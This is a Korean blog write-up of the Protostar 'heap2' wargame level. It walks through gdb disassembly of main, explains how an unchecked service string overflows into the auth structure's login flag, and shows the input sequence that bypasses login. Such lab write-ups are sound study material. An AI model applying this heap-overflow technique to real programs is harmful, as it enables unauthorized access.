본문 바로가기

워게임/protostar

heap2

(gdb) disas main

Dump of assembler code for function main:

0x08048934 <main+0>:    push   ebp

0x08048935 <main+1>:    mov    ebp,esp

0x08048937 <main+3>:    and    esp,0xfffffff0

0x0804893a <main+6>:    sub    esp,0x90

 

0x08048940 <main+12>:  jmp    0x8048943 <main+15>

0x08048942 <main+14>:  nop

 

0x08048943 <main+15>:  mov    ecx,DWORD PTR ds:0x804b5f8

0x08048949 <main+21>:  mov    edx,DWORD PTR ds:0x804b5f4

0x0804894f <main+27>:   mov    eax,0x804ad70

0x08048954 <main+32>:  mov    DWORD PTR [esp+0x8],ecx

0x08048958 <main+36>:  mov    DWORD PTR [esp+0x4],edx

0x0804895c <main+40>:   mov    DWORD PTR [esp],eax

0x0804895f <main+43>:   call   0x804881c <printf@plt>

 

(gdb) x/s 0x804ad70

0x804ad70:        "[ auth = %p, service = %p ]\n"

(gdb) x/s 0x804b5f4

0x804b5f4 <auth>:         ""

(gdb) x/s 0x804b5f8

0x804b5f8 <service>:      ""

 

변수

 

0x08048964 <main+48>:  mov    eax,ds:0x804b164

0x08048969 <main+53>:  mov    DWORD PTR [esp+0x8],eax

0x0804896d <main+57>:  mov    DWORD PTR [esp+0x4],0x80

0x08048975 <main+65>:  lea    eax,[esp+0x10]

0x08048979 <main+69>:  mov    DWORD PTR [esp],eax

0x0804897c <main+72>:   call   0x80487ac <fgets@plt>

 

fgets(char *str, int size, file *stream)

fgets(buffer(esp+0x10), 0x80, stdin)

 

버퍼에서 0x80만큼 입력받습니다.

 

0x08048981 <main+77>:  test   eax,eax

0x08048983 <main+79>:  jne    0x8048987 <main+83>

0x08048985 <main+81>:  leave 

0x08048986 <main+82>:  ret   

 

0x08048987 <main+83>:  mov    DWORD PTR [esp+0x8],0x5

0x0804898f <main+91>:   mov    DWORD PTR [esp+0x4],0x804ad8d

0x08048997 <main+99>:  lea    eax,[esp+0x10]

0x0804899b <main+103>: mov    DWORD PTR [esp],eax

0x0804899e <main+106>: call   0x804884c <strncmp@plt>

 

"auth"랑 버퍼 값 5byte랑 비교함.

 

0x080489a3 <main+111>: test   eax,eax

0x080489a5 <main+113>: jne    0x8048a01 <main+205>

0x080489a7 <main+115>: mov    DWORD PTR [esp],0x4

0x080489ae <main+122>: call   0x804916a <malloc>

 

틀리면 main+205로 가고 맞으면 4byte 할당함

 

0x080489b3 <main+127>: mov    ds:0x804b5f4,eax

0x080489b8 <main+132>: mov    eax,ds:0x804b5f4

0x080489bd <main+137>: mov    DWORD PTR [esp+0x8],0x4

0x080489c5 <main+145>: mov    DWORD PTR [esp+0x4],0x0

0x080489cd <main+153>: mov    DWORD PTR [esp],eax

0x080489d0 <main+156>: call   0x80487bc <memset@plt>

 

void *memset(void * ptr, int value, size_t num);

memset(auth, 0x0, 0x4)

 

0x080489d5 <main+161>: lea    eax,[esp+0x10]

0x080489d9 <main+165>: add    eax,0x5

0x080489dc <main+168>: mov    DWORD PTR [esp],eax

0x080489df <main+171>: call   0x80487fc <strlen@plt>

 

"auth"다음에 입력한 값 길이를 리턴

 

0x080489e4 <main+176>: cmp    eax,0x1e

0x080489e7 <main+179>: ja     0x8048a01 <main+205>

 

내가 입력한 값이 0x1e보다 작거나 같아야함 크면 쩜프

 

0x080489e9 <main+181>: lea    eax,[esp+0x10]

0x080489ed <main+185>: lea    edx,[eax+0x5]

0x080489f0 <main+188>:  mov    eax,ds:0x804b5f4

0x080489f5 <main+193>:  mov    DWORD PTR [esp+0x4],edx

0x080489f9 <main+197>:  mov    DWORD PTR [esp],eax

0x080489fc <main+200>:  call   0x804880c <strcpy@plt>

 

edx에는 "auth"다음에 입력한 값 들어가고 eax에는 auth struct의 첫번째 변수의 주소가 박힘.

"auth" 다음에 입력한 값이 거기에 들어간다 이말이겠지

 

0x08048a01 <main+205>: mov    DWORD PTR [esp+0x8],0x5

0x08048a09 <main+213>: mov    DWORD PTR [esp+0x4],0x804ad93

0x08048a11 <main+221>: lea    eax,[esp+0x10]

0x08048a15 <main+225>: mov    DWORD PTR [esp],eax

0x08048a18 <main+228>: call   0x804884c <strncmp@plt>

 

strncmp(buffer, "reset", 0x5)

 

0x08048a1d <main+233>: test   eax,eax

0x08048a1f <main+235>:  jne    0x8048a2e <main+250>

 

이것도 다르면 점프해버림

 

0x08048a21 <main+237>: mov    eax,ds:0x804b5f4

0x08048a26 <main+242>: mov    DWORD PTR [esp],eax

0x08048a29 <main+245>: call   0x804999c <free>

 

아까 auth 거기 공간을 free 시킴

 

0x08048a2e <main+250>: mov    DWORD PTR [esp+0x8],0x6

0x08048a36 <main+258>: mov    DWORD PTR [esp+0x4],0x804ad99

0x08048a3e <main+266>: lea    eax,[esp+0x10]

0x08048a42 <main+270>: mov    DWORD PTR [esp],eax

0x08048a45 <main+273>: call   0x804884c <strncmp@plt>

 

이것두 service랑 같은지 비교

 

0x08048a4a <main+278>: test   eax,eax

0x08048a4c <main+280>: jne    0x8048a62 <main+302>

 

다르면 점프하는데 점프하는곳이 좀 다름 ㄱㄱ

 

0x08048a4e <main+282>: lea    eax,[esp+0x10]

0x08048a52 <main+286>: add    eax,0x7

0x08048a55 <main+289>: mov    DWORD PTR [esp],eax

0x08048a58 <main+292>: call   0x804886c <strdup@plt>

0x08048a5d <main+297>: mov    ds:0x804b5f8,eax

 

service 다음에 오는 문자열들 주소를 반환해서 service 변수에 넣음

 

--> 여기가 service랑 비교했을 때 다르면 점프하는 곳

 

0x08048a62 <main+302>: mov    DWORD PTR [esp+0x8],0x5

0x08048a6a <main+310>: mov    DWORD PTR [esp+0x4],0x804ada1

0x08048a72 <main+318>: lea    eax,[esp+0x10]

0x08048a76 <main+322>: mov    DWORD PTR [esp],eax

0x08048a79 <main+325>: call   0x804884c <strncmp@plt>

 

login이랑 문자열 비교함

 

0x08048a7e <main+330>: test   eax,eax

0x08048a80 <main+332>: jne    0x8048942 <main+14>

 

다르면 다시 auth=어쩌고 service는 어쩌고 출력하는 주소로 돌아감 아마 while(True)

 

0x08048a86 <main+338>: mov    eax,ds:0x804b5f4

0x08048a8b <main+343>: mov    eax,DWORD PTR [eax+0x20]

0x08048a8e <main+346>: test   eax,eax

0x08048a90 <main+348>: je     0x8048aa3 <main+367>

 

auth struct의 첫번째 값을 다시 eax로 가져옴. 거기 주소+0x20으로 가서 값이 0인자 판단함.

0이 아니면 main+367로 점프

 

0x08048a92 <main+350>: mov    DWORD PTR [esp],0x804ada7

0x08048a99 <main+357>: call   0x804883c <puts@plt>

0x08048a9e <main+362>: jmp    0x8048943 <main+15>

 

이미 로그인 되어있다 출력하고 while(true) 첫위치로

 

0x08048aa3 <main+367>: mov    DWORD PTR [esp],0x804adc3

0x08048aaa <main+374>: call   0x804883c <puts@plt>

0x08048aaf <main+379>:  jmp    0x8048943 <main+15>

 

비번입력해라 하고 첫위치로

 

..그냥 보면 service 입력할때 strcpy를 버퍼 체크 제대로 안하고 해줘서 오버플로 일어날것같네요.

 

실제로 해보면 ~008이 처음 auth할때 들어가는 값이고 ~018 service 028 auth 이런식으로 할당이 되고 값이 들어가고하는걸 볼 수 있습니다.

 

(gdb) x/20x 0x804c008

0x804c008:        0x41414141       0x0000000a       0x00000000       0x00000011

0x804c018:        0x42424220       0x00000a42       0x00000000       0x00000011

0x804c028:        0x61616161       0x0000000a       0x00000000       0x00000fd1

 

auth야 길이 체크하니 그렇다치는데 service는 안하니까 auth의 다음에 올 영역을 침범할 수 있겠군요.

 

그말인 즉 auth structure의 변수 역시 조작할 수 있다는거겠죠?

 

암튼 service에 아무 값이나 쫘아아악입력해보면 로그인 되는걸 확인할 수 있습니다.

 

[ auth = 0x804c028, service = 0x804c018 ]

service CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC  

 

Breakpoint 1, main (argc=1, argv=0xbffff864) at heap2/heap2.c:35

 

(gdb) x/x 0x804b5f4

0x804b5f4 <auth>:         0x0804c028

 

(gdb) x/20x 0x804c028+0x20

0x804c048:        0x43434343       0x43434343       0x43434343       0x43434343

 

(gdb) c

Continuing.

you have logged in already!

[ auth = 0x804c028, service = 0x804c038 ]

 

실제로도 잘되는지 보겠습니당

 

[ auth = (nil), service = (nil) ]

auth 123

[ auth = 0x804c008, service = (nil) ]

serviceaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[ auth = 0x804c008, service = 0x804c018 ]

login

you have logged in already!

 

잘되네요 ㅋㅋ

'워게임 > protostar' 카테고리의 다른 글

format0  (0) 2015.11.03
heap3  (0) 2015.10.30
heap1  (0) 2015.10.30
heap0  (0) 2015.10.30
stack6,7  (0) 2015.10.15